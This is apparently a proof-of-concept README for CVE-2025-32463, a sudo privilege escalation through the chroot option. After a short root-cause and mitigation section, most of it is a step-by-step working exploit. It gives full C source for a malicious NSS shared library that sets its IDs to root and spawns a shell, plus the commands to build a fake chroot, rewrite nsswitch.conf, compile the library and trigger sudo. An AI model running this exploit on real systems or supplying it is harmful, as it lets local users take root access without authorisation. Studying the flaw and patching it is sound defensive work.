CVE-2025-32463 - Sudo Privilege Escalation

A privilege escalation vulnerability exists in sudo affecting Linux/Unix-based systems. The flaw arises due to improper path validation when sudo is used with the -R (--chroot) option, allowing attackers to escalate to root via malicious NSS library loading.

Root Cause

• When sudo executes a command inside a chroot environment (-R option), it mishandles NSS (Name Service Switch) library loading during error conditions.
• Improper path validation (e.g., failing to sanitize LD_LIBRARY_PATH or paths in /etc/nsswitch.conf) may lead to loading a malicious library instead of the legitimate NSS library (e.g., libnss_files.so).
• This results in arbitrary code execution with root privileges.

Impact

• Attackers with local access can exploit this to gain root privileges.

Mitigation

1. Update sudo to the latest patched version.
2. Restrict sudo permissions (limit chroot usage where possible).
3. Audit environment variables:
   • Restrict LD_LIBRARY_PATH.
   • Secure /etc/nsswitch.conf.
4. Enforce secure_path in /etc/sudoers to limit library search paths.

Technical Details

Vulnerability Overview

CVE ID: CVE-2025-32463
Affected Versions: Sudo 1.9.14 through 1.9.17
CVSS Score: 9.8 (Critical)
Impact: Local privilege escalation to root

Attack Flow

1. Attacker creates malicious NSS library
2. Sets up fake chroot environment
3. Triggers sudo error condition
4. Sudo loads attacker-controlled library
5. Malicious code executes with root privileges

Exploit Steps

Step 1: Verify vulnerability

If it responds with No such file or directory then its vulnerable: sudo -R invalid invalid sudo: invalid: No such file or directory

Step 2: Create Temporary Workspace

First, we create a temporary directory to work in: TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR This creates a uniquely named temporary directory and navigates into it. The mktemp command ensures we don't interfere with existing system files.

Step 3: Create Malicious Library

We need to create a C file (bridge90.c) that will be compiled into a malicious library:

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void bridge(void) {
  setreuid(0,0);  // Set real and effective user ID to root
  setregid(0,0);  // Set real and effective group ID to root
  chdir("/");     // Change to root directory
  execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);  // Execute shell
}

Key components:

__attribute__((constructor)) ensures the function runs when the library is loaded

setreuid and setregid escalate privileges to root

execl spawns a bash shell

Step 4: Setup Exploit Environment

mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c Breakdown:

Create a fake chroot environment in bridge/etc

Modify nsswitch.conf to point to our malicious path

Copy the real /etc/group file to maintain legitimacy

Create a directory for our malicious library

Compile the C code into a shared library named to match NSS (Name Service Switch) conventions

Step 5: Execute the Exploit

sudo -R bridge bridge

This command attempts to use our crafted environment:

The first bridge is the chroot directory containing our malicious configuration

The second bridge is the command to run (which will load our library)

Step 6: Verify Privilege Escalation

After successful exploitation, verify root access:

whoami # Should return "root" id -u # Should return "0" (root's UID)

graph LR
    A[Malicious Library] --> B[Fake Chroot]
    B --> C[Trigger Error]
    C --> D[Library Load]
    D --> E[Root Execution]

Disclaimer

This PoC exploit is for educational purposes only! I'm not responsible for any misuse you might cause with this exploit!